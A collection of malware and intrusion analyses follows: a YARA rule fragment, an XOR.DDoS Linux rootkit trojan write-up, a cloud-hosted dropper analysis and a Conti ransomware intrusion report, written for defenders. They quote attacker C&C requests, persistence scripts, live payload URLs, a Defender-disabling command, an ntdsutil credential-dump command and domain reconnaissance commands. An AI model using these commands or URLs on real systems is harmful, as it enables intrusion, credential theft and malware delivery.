$a10 = "DetectionPreBuffer" wide ascii nocase
$a11 = "MaxCaptureFrames" wide ascii nocase
$a12 = "MaxCaptureFolderSize" wide ascii nocase
$a13 = "NetworkImageQ" wide ascii nocase
$a14 = "CaptureDirectory" wide ascii nocase
$a15 = "DefPass" wide ascii nocase
$a16 = "CaptureStopProcess1" wide ascii nocase
$a17 = "CaptureStopProcess2" wide ascii nocase
$a18 = "DetectPorog" wide ascii nocase
$a19 = "WatchFiles" wide ascii nocase
$a20 = "AutoSendPreviews" wide ascii nocase
$a21 = "ControlExt" wide ascii nocase
$a22 = "SendOriginPreviews" wide ascii nocase
$a23 = "CopyOriginsToCaptureDir" wide ascii nocase
$a24 = "WatchProc" wide ascii nocase
$a25 = "ScreenshotExt" wide ascii nocase
$a26 = "ScreenshotAutoCapture" wide ascii nocase
$a27 = "ScreenshotAutoStartProcess" wide ascii nocase
$a28 = "ScreenshotPause" wide ascii nocase
$a29 = "ProxyEnabled" wide ascii nocase
$b = "\\R_C_S.ini" wide ascii nocase
$b2 = "\\RCS.ini" wide ascii nocase
$b3 = "RCS.log" wide ascii nocase
$b4 = "RCSU.exe" wide ascii nocase
$b5 = "RCS.log" wide ascii nocase
$c = "?share*" wide ascii nocase
$c2 = "?find*" wide ascii nocase
$c3 = "user?" wide ascii nocase
$c4 = "?prefs*" wide ascii nocase
$c5 = "?type*abstract" wide ascii nocase
$c6 = "?FriendlyID*" wide ascii nocase
$c7 = "?disc*" wide ascii nocase
condition:
5 of ($a*) or
3 of ($b*) or
4 of ($c*)
}
```
### File hashes:
- [1] MSIL.Backdoor.Rurktar.A: b4b75bda475ea58f2a5cf3329e311a70fa56745ba6cb2785523fa53139d4e37f
- [2] MSIL.Backdoor.Rurktar.A: 54f25a6820b8a0e3fc26bdf4599e7db695ef7aefb7dcefaa2c2581bb58426a40
- [3] MSIL.Backdoor.Rurktar.A: 89110710eddd0da23ea206a6047c252bf1e16a2d1957729973d77a58219e614b
- [4] MSIL.Backdoor.Rurktar.A: 618908e3d368301a323ee8ae7df867db8d7f5a98b513cfb8c961fb945e62a9b6 |
# Linux DDoS Trojan Hiding Itself with an Embedded Rootkit
**Threat Intelligence Team**
6 Jan 2015
At the end of September 2014, a new threat for the Linux operating system dubbed XOR.DDoS, forming a botnet for distributed denial-of-service attacks, was reported by the MalwareMustDie! group. The post mentioned the initial intrusion of SSH connection, static properties of related Linux executable, and encryption methods used. Later, we realized that the installation process is customized to a victim’s Linux environment for the sake of running an additional rootkit component. In this blog post, we will describe the installation steps, the rootkit itself, and the communication protocol for getting attack commands.
## Installation Script & Infection Vector
The infection starts by an attempt to brute force SSH login credentials of the root user. If successful, attackers gain access to the compromised machine, then install the Trojan usually via a shell script. The script contains procedures like `main`, `check`, `compiler`, `uncompress`, `setup`, `generate`, `upload`, `checkbuild`, etc., and variables like `__host_32__`, `__host_64__`, `__kernel__`, `__remote__`, etc. The main procedure decrypts and selects the C&C server based on the architecture of the system.
In the requests below, the `iid` parameter is the MD5 hash of the name of the kernel version. The script first lists all the modules running on the current system by the command `lsmod`. Then it takes the last one and extracts its name and the parameter `vermagic`. In one of our cases, the testing environment runs under `3.8.0-19-generic SMP mod_unload modversions 686`, which has the MD5 hash equal to `CE74BF62ACFE944B2167248DD0674977`.
Three GET requests are issued to C&C. The first one is performed by the `check` procedure (note the original misspelling):
```
request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory exists!
```
Then the `compiler` procedure issues another GET request in which parameters like C&C servers, version info, etc., are passed to the server where they are compiled into a newly created executable:
```
request:
GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin&password=admin&ip=103.25.9.245:8005|103.240.141.50:8005|66.102.253.30:8005|ndns.dsaj2a1.org:8005|ndns.dsaj2a.org:8005|ndns.hcxiaoao.com:8005|ndns.dsaj2a.com:8005&ver=3.8.0-19-generic SMP mod_unload modversions 686&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory exists!
```
Finally, the third GET request downloads the customized version of the Trojan's binary in the form of a gzip archive, which is unpacked and executed:
```
request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001|CE74BF62ACFE944B2167248DD0674977|create ok
```
The previous steps run only if there already is a built version for the current kernel version on the server side. If not, the script locates the kernel headers in `/lib/modules/%s/build/` directory, where `%s` means the return value after calling the command `uname` with parameter `r`, then packs all files and uploads them to the C&C server using a custom uploader called `mini`.
The rootkit component is a loadable kernel module (LKM). To install it successfully on a system, the `vermagic` value of LKM needs to agree with the version of the kernel headers installed on the user's system. That’s the motivation behind previous installation steps. If previous sequences fail, the script installs a Trojan omitting the rootkit component.
## Structure & Persistence
The binary structure of the main executable is as follows:
The persistence of the Trojan is achieved in multiple ways. First, it is installed into the `/boot/` directory with a random 10-character string. Then a script with the identical name as the Trojan is created in the `/etc/init.d` directory. It is together with five symbolic links pointing to the script created in `/etc/rc%u.d/S90%s`, where `%u` runs from 1 to 5 and `%s` is substituted with the random. Moreover, a script `/etc/cron.hourly/cron.sh` is added with the content:
```sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: '{print $1}'`; do ifconfig $i up & done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug
```
The line `*/3 * * * * root /etc/cron.hourly/cron.sh` is inserted in the crontab.
The functionality of the main executable lies in three infinite loops responsible for:
1. downloading and executing instructions in a bot's configuration file,
2. reinstalling itself as the `/lib/udev/udev` file, and
3. performing flooding commands.
The configuration file contains four categories of lists: `md5`, `denyip`, `filename`, and `rmfile`, which mean killing a running process based on its CRC checksum, on the active communication with an IP from the list, on a filename, and finally removing a file with a specified name.
Also, we have to note that there is a variant of this Trojan compiled for the ARM architecture. This suggests that the list of potentially infected systems (besides 32-bit and 64-bit Linux web servers and desktops) is extended for routers, Internet of Things devices, NAS storages, or 32-bit ARM servers (however, it has not been observed in the wild yet). It contains an additional implementation of the download-and-execute feature in an infinite loop called `daemondown`.
A few days ago, a new 32-bit variant of this Trojan with few modifications was observed. The bot is installed as `/lib/libgcc4.so` file, the unique file containing its identification string was `/var/run/udev.pid`, the initialization script was `/etc/cron.hourly/udev.sh`, and the rootkit features were completely omitted. The presence of all these files could serve as an indicator of compromise (IoC).
## LKM Rootkit
Trojans for the Windows platform have used various rootkit features for a very long time. It is known that some trojanized flooding tools had the Windows variant utilizing the Agony rootkit (its source code has been publicly shared and available since 2006). We presented research related to these malicious DDoS tools at Botconf 2014 in a survey called "Chinese Chicken: Multiplatform-DDoS-Botnets." Now there is a flooding Trojan for Linux that also contains an embedded rootkit. Its main functionality is to hide various aspects of the Trojan’s activity and is provided by procedures in the switch table.
The Trojan running in the userspace requests these features from the rootkit in the kernel by `ioctl` command with a specific code (`0x9748712`). The presence of the rootkit is first checked by opening a process with the name `rs_dev`. The own request needs two parameters: one specifies the number of the command to be performed by the rootkit, and the other one is the number of the port to be hidden.
Based on the procedure names, it is likely that the malware authors were inspired by the open-source project called Suterusu to build up their rootkit. The Trojan from last year called Hand of Thief failed in its ambitions to be the first banking Trojan for Linux desktops. It also borrowed part of its code from an existing open-source project, namely methods of process injection. The description of the project says “An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM.” Another article related to Suterusu was published in January 2013.
## C&C Communication
The communication is encrypted in both directions with the same hard-coded XOR key (`BB2FA36AAA9541F0`) as the configuration file. An additional file `/var/run/sftp.pid` containing a unique magic string of length 32 bytes is stored and utilized as a unique identifier of a victim’s machine within the communication. There is a list of C&C commands, for which the bot listens to: to start flooding, to stop flooding, to download-and-execute, to self-update, to send the MD5 hash of its memory, and to get a list of processes to kill.
The list of C&Cs is stored in the shell script in the `__remote__` variable. The Trojan first sends information about the running system to the C&C server (very likely to be displayed on a panel of a botnet operator). The replies usually arrive in the form of a command. The header of the command is `0x1C` bytes long and is stored within a structure called `Header`. The first command is to stop any flooding attack and the next one to start one with the list of hosts provided.
The entries of the Header are shown below. Highlighted parameters are the size of the total size of a command (Size, `0x102C`), the task number (Order, `0x3`, i.e. `_cmd_start` in the switch table), and the number of flooding tasks (Task_Num, `0xF`).
The rest of the flooding command contains an encrypted structure with attack tasks. After decryption, we can see an IP address and ports which will be flooded by the Trojan and other parameters of the DDoS attack (e.g., the type of attack: SYN/DNS).
## Acknowledgement
Thanks to my colleague Jaromír Hořejší for cooperation on this analysis. Pop-art was created by the independent digital artist Veronika Begánová.
## Sources
Here are the samples connected with the analysis:
- Install script: `BA84C056FB4541FE26CB0E10BC6A075585`
- Xorddos Uploader: `44153031700A019E8F9E434107E4706A705`
- Xorddos Trojan for EM_386: `AD26ABC8CD8770CA4ECC7ED20F37B510E`
- Xorddos Trojan for EM_x86_64: `859A952FF05806C9E0652A9BA18D521E57`
- Xorddos Rootkit: `6BE322CD81EBC60CFEEAC2896B26EF015D`
- Xorddos Trojan for EM_ARM: `49963D925701FE5C7797A728A044F09562`
- Xorddos Trojan no rootkit: `24B9DB26B4335FC7D8A230F04F49F87B1F` |
# Threat Actors Migrating to the Cloud
April 10, 2020
Where do malware payloads come from? It’s a question with an apparently trivial answer. Usually, these sit on dedicated servers owned by the campaign managers, and occasionally on a legitimate website that has been broken into and commandeered. But, as we were recently reminded, there is a third option: keeping payloads at accounts on cloud services such as Dropbox and Google Drive.
Recently, while researching the Legion Loader malware, we came across a downloader stub that, in broad strokes, did just that: downloaded a malicious payload from a well-known cloud service, and then executed it. We went looking for other similar samples, expecting to find a bounty of Legion Loaders, but the results took us by surprise. We clicked “search” and it rained: 8,000 URLs, 10,000 samples, Nanocore, Lokibot, Remcos, Pony Stealer – in short, a proper roll call of who’s who in the malware business. This isn’t one specific actor getting clever with their one specific malware. It’s a brave new service aiming to replace packers and crypters, a new fashion which cybercriminals the world over are trying on for size.
What’s in it for them? For a start, a human looking at a traffic capture generated by some software can often quickly tell whether that software is malicious or benign. Unfortunately, one of the easiest ways to tell is by looking at the domains being contacted and the contents of the transmission, which means that if some software’s entire network activity is just contacting Google Drive, a human will probably dismiss that activity as legitimate.
You might think “Ha! My firewall is not a human. Checkmate, cybercriminals,” but this sort of thing can be the difference between a working AV signature distributed in a day and a working AV signature distributed in a week. After all, researcher attention comes first and AV signatures only later. Also, your firewall probably employs some heuristic that, on its best day, emulates a human decision-maker. In that case, you’d be right to worry about malware evasion tactics that are even good enough to fool actual humans.
Google, understandably, has a zero-tolerance policy for shenanigans of this type. If you try to download malware from Google Drive, you are typically presented with a warning message. This is one of the reasons why this “malware on the cloud” gambit didn’t just sweep the market and dominate a long time ago. If you’re looking for a web host to take your money and look the other way while you do illicit business with their web hosting, then Google is a poor choice, and you will probably have better luck with some obscure server farm in Kazakhstan. Alas, this layer of natural deterrence only goes so far.
When looking at recent campaigns that implement this “load malware from the cloud” method, what we’ve typically seen is spam emails that have an embedded attachment – an .ISO file that contains a malicious executable. It’s a nifty trick, but don’t bet on it staying with us for too long. Security solutions will soon learn to suspect .ISO files and inspect them thoroughly, if they didn’t before. On top of that, a human looking at such an attachment will go “huh.” Malicious campaign managers do not want victims to go “huh.” It is bad for business.
So no, the real story here isn’t the .ISO. The real story begins with the victim double-clicking the ISO and running the bundled executable. This is a stub that does not contain any functionality; instead, it downloads the malware from, say, Google Drive, and then executes it. The payload is sometimes disguised and made to superficially resemble a picture in a popular image format. So far, this is just standard downloader behavior; the stinger is that in the cloud storage, the files are encrypted. They are only decrypted on the victim machine, using “rotating XOR” decryption and a rather long key, which ranges from 200 to 1000 bytes in length and is hardcoded in the downloader stub.
This is fundamentally different from “packing” or “crypting” malware. Packed malware appears to be gibberish, but will reveal its function and behavior during execution; encrypted malware stays gibberish as long as you don’t have the key. Now, in theory, it so happens that rotating-XOR encryption with a 1000-byte key can in fact be broken if the plaintext is long enough and coherent enough. In practice, we don’t live in a world where defenders launch cryptographic attacks at suspicious binary blobs just in case something interesting turns up. The performance overhead is just too prohibitive.
Worse: even if Google were determined to force these encrypted payloads to reveal their secrets, malicious actors could then route the attack permanently without too much effort. We’ll leave out the details, as we are loath to give malware authors ideas, and consider the typical cryptographic illiteracy in the cybercriminal crowd as a gift that should be handled with great care. Suffice it to say that if you know your crypto 101 then you know that these payloads could be processed such that even if Google throws their fanciest GPU rigs and their cleverest algorithms at the problem, these will bounce right off.
This is a right mess. What do these “terms of service” even mean if they cannot be directly enforced? We sympathize with Google, who cannot do much more than employ the stop-gap measure of looking for plain malicious binaries and praying that this practice doesn’t catch on. Of course, they can also follow the payloads when campaigns come to light, investigate the uploads, follow the leads, create deterrence. But this is complicated, manual, delayed. Cybercriminals love to force their security-minded adversaries into complicated, manual and delayed responses. It’s what they live for.
So the cloud host doesn’t kick the malicious payload off their servers, because they can’t, and the user runs the dropper and the dropper fetches its payload. An image is also displayed to the user, presumably to cover the attack’s tracks a bit. Can’t be malware if you actually got to see your very urgent Jury Duty summons as promised in the spam message, right? Right.
Each payload is encrypted using a unique encryption key. The dropper also has a built-in option in its hardcoded configuration that allows for deferred downloading of the payload after system reboot.
To add insult to injury, the malicious payload is stored only in memory and is never saved to the disk in either decrypted or encrypted form. We’d call this “fileless,” except, you know, the original dropper is a file. We suppose we could say that it is fileless with respect to the decrypted payload. The threat model in the attackers’ minds is very clear: Google and security vendors are all looking at files, looking for familiar signatures and hashes. Never put the malicious fully-formed binary in a file and, as an attacker, you’re home free.
Does this model reflect reality? Well, yes and no. Yes, some victims will, regrettably, have about this level of security. No, this isn’t the limit of what security solutions can actually do in this case, and hasn’t been for nearly fifteen years. For instance, a sandbox environment will emulate the dropper’s execution – complete with the malicious payload being downloaded and executed, and the resulting incriminating behavior. The sandbox will then deliver a verdict: “you probably shouldn’t run this file on your own machine.”
But if a sandbox doesn’t record the whole interaction as it happens, defenders don’t have much recourse after the fact. When a campaign ends, the encrypted malicious sample is removed from the cloud storage – leaving researchers to look at a featureless stub downloader, an encryption key and a dead cloud storage link. Typically, no traces will remain on the victims’ machines to investigate the data leak, either. The malicious binary only existed in volatile memory, and by the time an analyst gets to look at the machine, the offending code has long since scattered to the four winds.
It’s worth mentioning that in a small number of the cases we examined, these encrypted malicious payloads were hosted at compromised legitimate websites. Encrypting the payload in such a scenario is probably overkill.
It’s also worth mentioning that Google Drive and OneDrive weren’t the only unwitting carriers of encrypting payloads. Some other services were used, even if sparingly:
| Service | Number of samples |
|-------------------------|------------------|
| share.dmca.gripe | 48 |
| files.fm | 30 |
| cdn.filesend.jp | 26 |
| anonfile.com | 17 |
| sendspace.com | 14 |
| dropbox.com | 13 |
| sharepoint.com | 10 |
We still continue to see approximately 800 new samples of this dropper per week.
## Analysis Story and Technical Details
Now that you understand why this downloader is such a nuisance, we bet you want a look at the nuts and bolts of the research, and we’re happy to indulge you.
As mentioned, this story began with a campaign delivering the Legion Loader malware. We noticed that VirusTotal behavior analysis reports for this malware family contained DNS requests to drive.google.com. The analyzed samples were very small and couldn’t possibly contain the researched malware even in packed form. It was obvious that the analyzed samples were just droppers capable of downloading and executing the malware.
### Shellcode Decryptor
The dropper (hiding in the ISO file, remember) is crafted to appear, at first sight, as a Visual Basic 6 application. It usually has very few functions recognized by disassemblers, and even those contain a lot of junk instructions mixed in with obfuscated code, anti-disassembly measures and plain noise for a general holistic experience of analyst misery.
As a result, there is much manual grunt-work of figuring out where the execution flow goes and forcing the disassembler to interpret the instructions there as code. The end result is still an eyesore, but some careful analysis will show that it decrypts and executes the shellcode, which is located somewhere else in the binary (typically in the resources or in the code section).
Don’t mistake this decryption with the decryption we were complaining about earlier. Yes, it’s also a rotating XOR decryption, but the key is much shorter – and, more importantly, it is right there. “Encryption but the key is right there” is just a long-winded way to say “obfuscation,” and it is not nearly as much of a headache. The dropper elegantly recovers the 4-byte key by XORing the correct first 4 bytes of the plaintext with the first 4 bytes of the ciphertext:
```
plaintext_prefix = 0x0200EC81;
key = ((DWORD *)ciphertext)[0] ^ plaintext_prefix;
```
### Shellcode
The shellcode is also obfuscated, making IDA unable to automatically analyze it. It also contains some anti-debugging tricks, in case you were thinking to throw it in a debugger.
For example, in the code above the malware hides the current thread from the debugger. This leads the debugged application to crash on any breakpoint hit in the hidden thread.
The dropper prevents the debugger from attaching to the running process by hooking the DbgUiRemoteBreakin function, and redirecting execution to an invalid address pointed by an uninitialized variable. It also replaces the DbgBreakPoint function body with a NOP operation. This prevents a debugger from breaking when it attaches to the process. DbgUiRemoteBreakin and DbgBreakPoint are the key functions that are called when a debugger attaches to a process; by meddling with them, the shellcode cripples the ability of a naïve analyst to debug the process.
Remember that we earlier sang the praises of sandboxes as a solution to this sort of gambit by cybercriminals; sadly, they know well enough to worry about sandboxes, which is why the shellcode also includes a host of techniques to check if it’s running in a sandbox, and refuse to run if the answer is positive. These are called “evasions,” and there are many of them. The researched sample in particular checked the number of top-level windows; if this number is less than 12, the dropper silently exits.
The dropper dynamically resolves API functions, which has been par for the course for a long while now. Function names are stored in the code right after calls to procedures that have no returns.
After resolving the addresses of the API functions, the dropper launches another process of itself in a suspended state. The malware unmaps its image from the image base of this child process, maps the msvbvm60.dll library there, allocates memory in the child process, copies the decrypted shellcode into the allocated memory, and transfers execution there.
### Downloading Payload
The shellcode downloads the encrypted payload from the hard-coded URL. In 72% of samples drive.google.com is used for downloading payloads:
The payload is downloaded using functions InternetOpenUrlA and InternetReadFile, using the following hardcoded user-agent:
```
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
```
The only way the dropper checks the consistency of the downloaded payload is by comparing its size with a hard-coded value. The dropper repeatedly tries to download the payload in an infinite loop until the downloaded file size is equal to the expected value.
In most cases, the same pattern is used for naming encrypted files stored in cloud drives:
```
<prefix>_encrypted_<7 hex digits>.bin
```
The encrypted payload starts from a 64 hex digits sequence, which is not used in the decryption process.
As we explained earlier, to recover a working binary from the downloaded data, the dropper uses XOR operation with a unique key that’s typically several hundred bytes in length.
The payload decryption routine is obfuscated as well. This is equivalent to a rotating XOR decrypt, written below in Python for your convenience:
```python
decrypted_data = [data[i] ^ key[i % len(key)] for i in range(len(data))]
```
The decrypted payload is manually loaded to its image base address that is extracted from the PE header of the payload. The dropper then creates a new thread to run the payload without creating a separate process. Next, the malware hides the thread, in which the payload is executed, and terminates the other thread that did all the decryption work.
### Decoy Images
We also observed samples containing two URLs. The second URL is used for downloading the decoy image that will be displayed to the user. The downloaded image is saved to the user profile folder under the hardcoded name. Then the image is displayed using the ShellExecuteW API function.
The cybercriminals currently use a limited set of images. Here are some of them:
In different samples, we found the following URLs used for downloading images:
| URL | Filename |
|----------------------------------------------------------------------------------------------------------------------|------------------|
| https://drive.google.com/uc?export=download&id=1ASGKMSEJv88BIWfRZOZkY2BuIAooYoLL | perez.jpg |
| https://drive.google.com/uc?export=download&id=1zGOzCmiKXMo74FTB7tKUWA_6hUZVwY5o | Manuela7.jpg |
| https://drive.google.com/uc?export=download&id=1jg8cgbX3Lus4xgjwzBjMWTNDDpTnCtZU | Manuela1.jpg |
| https://drive.google.com/uc?export=download&id=1BAXPOB__oIUqVL0RlxSLCu0x1BnGd42h | 60.jpg |
| https://drive.google.com/uc?export=download&id=1si0ewAatU8AY2_DrFhe0PUhUAxgnrU0H | mark.jpg |
| https://drive.google.com/uc?export=download&id=1nik9AVTbWHan572W_p8fz1a_80u7_Uzj | marek72.jpg |
| https://drive.google.com/uc?export=download&id=14yTdH6KHQtDYcGs8BQ4L1OwYFHQru33X | MN1.jpg |
| https://drive.google.com/uc?export=download&id=1O9DVPtLtZf4y4f0gEk83_Itr8_L1Oscq | as1.jpg |
| https://drive.google.com/uc?export=download&id=1Za1r224NoPnASs0AWuOXv1sLcsabdXa_ | mr.jpg |
| https://drive.google.com/uc?export=download&id=15qXMyh2VmjgVXdIfh_8q8gJd7-CY-Z0l | Manuela5.jpg |
| https://drive.google.com/uc?export=download&id=1oySY0fgWBRYEu2IgvPRpJJfYlMkQ05vC | Manuela6.jpg |
| https://drive.google.com/uc?export=download&id=1SER3L1Tkf_S_VmOT_f4kXkG0FSo6RM3E | Manuela82630.jpg |
### Delayed Downloading
Depending on the dropper’s configuration, it is capable of setting up deferred download of the payload after reboot. If this option is enabled, the dropper reaches for the registry’s autorun key:
The dropper is copied to `%USERPROFILE%\subfolder1\filename1.exe` and a small VBS script (`C:\{USERPROFILEPATH}\subfolder1\filename1.vbs`) is created with the following content:
```
Set W = CreateObject("WScript.Shell")
Set C = W.Exec ("C:\Users\User\subfolder1\filename1.exe")
```
With “User” being the appropriate username. After the OS reboots, the dropper is started from the `%USERPROFILE%\subfolder1\filename1.exe`. Only then it downloads and executes the payload, assuming this “deferred download” option was turned on.
## Conclusion
The term “perfect storm” should be used very sparingly, so let us say that this dropper is a Strong Breeze of troublesome features. The burden of server maintenance is shifted to Microsoft and Google, who will have trouble being proactive about the issue. Many (not all) popular and formidable-sounding security solutions are just inadequate in the face of this threat. The malware leaves no trace once it is done running, and even if an analyst gets their hand on a copy they then have to contend with a host of anti-analysis measures.
Having said all that, there is also some good news. First of all, the science of cybercrime marches slowly. Progress is forgotten, worst practices endure and multiply. If we see this clever alternative to packing wallow in obscurity and die out in favor of the 294th API-bombing packer and the 1077th transmogrified UPX, it won’t be the first promising advance in malware-faring that we’d seen gone and forgotten, or the last.
Second of all, Sandbox Analysis makes short work of the entire thing, as long as evasions are pre-emptively dealt with. Like many apparent next-level threats, defusing this dropper doesn’t require some super advanced technology on the bleeding edge – just good fundamentals, or in this case, judicious use of technology that’s been around since before the original iPhone.
We often worry about the day when cybercriminals finally understand how easily they could make all our lives really difficult, but happily, today is not that day.
## IOCs
| MD5 | Embedded URLs |
|--------------------------------------------------|-------------------------------------------------------------------------------|
| d621b39ec6294c998580cc21f33b2f46 | https://drive.google.com/uc?export=download&id=1dwHZNcb0hisPkUIRteENUiXp_ATOAm4y |
| e63232ba23f4da117e208d8c0bf99390 | https://drive.google.com/uc?export=download&id=1Q3PyGHmArVGhseocKK5KcQAKPZ9OacQz |
| ad9c9e0a192f7620a065b0fa01ff2d81 | https://onedrive.live.com/download?cid=FB607A99940C799A&resid=FB607A99940C799A%21124&au |
| ad419a39769253297b92f09e88e97a07 | https://cdn.filesend.jp/private/9gBe6zzNRaAJTAAl1A3VRa8_Gs0yw1ViOupoQM8N7njTTXNKTBoZTTl |
| df6e0bc9e9a9871821374d9bb1e12542 | https://fmglogistics-my.sharepoint.com/:u:/g/personal/cfs-hph_fmgloballogistics_com/EX30cSO-FxVEvm |
| 232da2765bbf79ea4a51726285cb65d1 | https://cdn-12.anonfile.com/RdO1lcdaod/77814bdf-1582785178/[email protected]_encrypted_4407DD0 |
| cf3e7341f48bcc58822c4aecb4eb6241 | https://www.dropbox.com/s/332yti5x6q8zmaj/plo_encrypted_4D16C50.bin?dl=1 |
| c1730abe51d8eed05234a74118dfdd6a | https://share.dmca.gripe/iQEkn0067f3MvpRm.bin |
| 760f167f44be7fc19c7866db89ba76d5 | https://raacts.in/a/00.bin, https://alaziz.in/a/00.bin |
| 9f4e7577922baa06d75a4a8610800661 | https://biendaoco.com/wp-content/plugins/revslider/admin/POORDER.bin |
| 61cfb93ff1d5d301aeb716509a02e4b6 | https://taxagent.gr/wp-includes/ID3/Host_encrypted_135E9B0.bin | |
# BazarCall to Conti Ransomware via Trickbot and Cobalt Strike
**August 1, 2021**
## Intro
This report will go through an intrusion that went from an Excel file to domain-wide ransomware. The threat actors used BazarCall to install Trickbot in the environment, which downloaded and executed a Cobalt Strike Beacon. From there, the threat actor discovered the internal network before moving laterally to a domain controller for additional discovery. A couple of days later, the threat actors came back and executed Conti ransomware across the domain.
## Summary
In this intrusion, we observed a number of interesting techniques being leveraged by the threat actors. The threat actors were able to go from initial access to the deployment of Conti ransomware in a matter of hours. The Conti operators chose to wait a couple of days before ransoming the environment. Even though most of the techniques aren’t new or advanced, they have proven to be effective. We have observed the same techniques in other intrusions, and understanding these techniques will allow defenders to disrupt such intrusion activity and deny it in their own networks.
The Trickbot payload came from a phishing campaign associated with BazarCall, delivering weaponized XLSB files. Upon execution, certutil.exe was copied to %programdata% and renamed with random alphanumeric characters. Certutil was used to download and load the Trickbot DLL into memory. Trickbot was automatically tasked to inject into the wermgr.exe process and use its well-known “pwgrab” module to steal browser credentials. As part of further automated tasking, Trickbot performed an initial reconnaissance of the environment using native Windows tools such as nltest.exe and net.exe.
First hands-on activity was observed two hours after initial compromise when Trickbot downloaded and executed Cobalt Strike Beacons. To guarantee execution on the beachhead host, multiple payloads were used. One of the Cobalt Strike Beacons was the same payload and command and control infrastructure as used in a prior case. The initial access method for that case was IcedID, which shows that the threat actors utilize various initial access methods to get into environments and accomplish their goals.
Once access through Cobalt Strike was established, the threat actors immediately proceeded with domain enumeration via Nltest, AdFind, BloodHound, and PowerSploit. Presence was then expanded on the beachhead by using a PowerShell loader to execute additional Beacons.
We observed the threat actors having technical issues, one example being with a Beacon unsuccessfully injecting into a process. It is unclear if this was an untrained actor or if there was a configuration issue.
Fifteen minutes after domain enumeration, we observed successful lateral movement to two endpoints on the network. Ten minutes after lateral movement, a PowerShell Cobalt Strike loader executed as a service on a server. Even though the execution was not successful, the threat actors kept trying, a total of eight times, until it finally worked. Windows Defender real-time monitoring was then disabled, the LSASS.exe process was dumped using SysInternals ProcDump, and privilege was escalated to “SYSTEM” using named pipe impersonation.
Almost four hours after initial execution, the threat actors pivoted to a domain controller using domain admin credentials and executed a Cobalt Strike Beacon. Once they had domain controller access, ntdsutil was used to take a snapshot of “ntds.dit”, saved under “C:\Perflogs\1”, for offline password hash extraction. This is a technique that we don’t see very often, but effective nevertheless.
The threat actors then reran many of the same discovery techniques that were previously executed on the beachhead, including AdFind and BloodHound. This was the last observed hands-on-keyboard activity for a while.
Two days later, the Cobalt Strike Beacon on the domain controller was once again actively engaged by the threat actors. Psexec, with two separate batch files, were used to execute Conti ransomware on all domain-joined Windows hosts. This final deployment was executed around 6:45 UTC on a Monday morning.
From the point the threat actors returned to ransom deployment, it was less than 30 minutes. This would give defenders little time to act if they had not identified and contained the activity from the first day of the Trickbot infection.
## Services
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here. Two of the Cobalt Strike servers used in this intrusion were added to our Threat Feed on 6/3/21 and the other one was added on 6/11/21.
We also have artifacts available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.
## Timeline
**Analysis and reporting completed by @_pete_0 and @kostastsale. Reviewed by @RoxpinTeddy and 1 unnamed contributor.**
### Initial Access
The initial access was achieved as a result of the user opening what appeared to be a benign workbook, a lure, requiring little user interaction. The workbook contained hidden and password-protected worksheets, these were malicious. Module functions also indicated code designed to obfuscate and hide true values and functions.
### Execution
From the xlsb document, the following execution chain occurs, including copying the Windows CertUtil program and using that to collect further Trickbot payloads. We observed a second stage execution using regsvr32 to load a DLL from the user’s AppData\Local\Temp folder. Almost immediately, an outbound IPv4 address lookup was requested via HTTP. This is usually undertaken to identify the compromised environment and to facilitate C2. The user agent refers to Curl – and used again for another stage of the intrusion.
On the beachhead, multiple executables were saved in a temp directory and then pushed into memory by TrickBot process “wermgr.exe”. The executables were identified as Cobalt Strike and communicated over port 443 to C2 88.80.147[.]101.
A PowerShell download cradle was then used to execute Cobalt Strike Beacon in memory:
### Privilege Escalation
Named pipe impersonation was used to escalate to SYSTEM privileges – a common Cobalt Strike capability. We observed several attempts by the threat actor trying to escalate to SYSTEM – ultimately succeeding, as evident in several new services running under the Local SYSTEM context. Service creation events System Event ID 7045, coupled with unusual commands and service names are a strong indication of privilege escalation activity. RedCanary provided useful background on GetSystem capabilities of offensive security tools and methods of detection.
### Defense Evasion
Trickbot made extensive use of process injection to hide in benign operating system processes. It first injected into wermgr.exe and then later into svchost.exe. Another defense evasion technique employed by Cobalt Strike was to disable Windows Defender. WMIC was used to remotely execute ‘def.bat’. The contents of ‘def.bat’:
```
Set-MpPreference -DisableRealtimeMonitoring $true
```
### Credential Access
Trickbot made use of esentutl to gather MSEdge history, webcache, and saved passwords using TrickBot’s “pwgrab” module. LSASS was dumped remotely using ProcDump. The execution took place from the beachhead using WMIC. “Ntdsutil” was used to take a snapshot of ntds.dit and save it under “C:\Perflogs\1”. This technique is useful for offline password hash extraction. This activity occurred twice. The same batch file, ‘12.bat’, was first executed in the context of SYSTEM; and secondly, in the context of a domain admin user. The contents of ‘12.bat’:
```
ntdsutil "ac in ntds" "ifm" "cr fu C:\Perflogs\1" q q
```
### Discovery
Net and Nltest commands were used to gather network and domain reconnaissance. During the intrusion, this activity was seen multiple times, on multiple hosts. Other discovery commands included:
```
systeminfo
nltest /dclist:<hidden>.local
nltest /domain_trusts /all_trusts
net localgroup Administrators
whoami.exe /groups
```
AdFind.exe and adf.bat were uploaded to the beachhead. adf.bat was used to execute:
```
adfind.exe -f "(objectcategory=person)"
adfind.exe -f "(objectcategory=organizationalUnit)"
adfind.exe -f "objectcategory=computer"
adfind.exe -gcb -sc trustdmp
adfind.exe -f "(objectcategory=group)"
adfind.exe -subnets -f (objectCategory=subnet)
adfind.exe -sc trustdmp
```
AdFind results were written to the following locations:
```
C:\Windows\Temp\adf\ad_group.txt
C:\Windows\Temp\adf\trustdmp.txt
C:\Windows\Temp\adf\subnets.txt
C:\Windows\Temp\adf\ad_ous.txt
C:\Windows\Temp\adf\ad_computers.txt
C:\Windows\Temp\adf\ad_users.txt
```
On the beachhead, Cobalt Strike executed BloodHound in memory. The results were saved in:
```
"C:\Windows\Temp\Dogi"
```
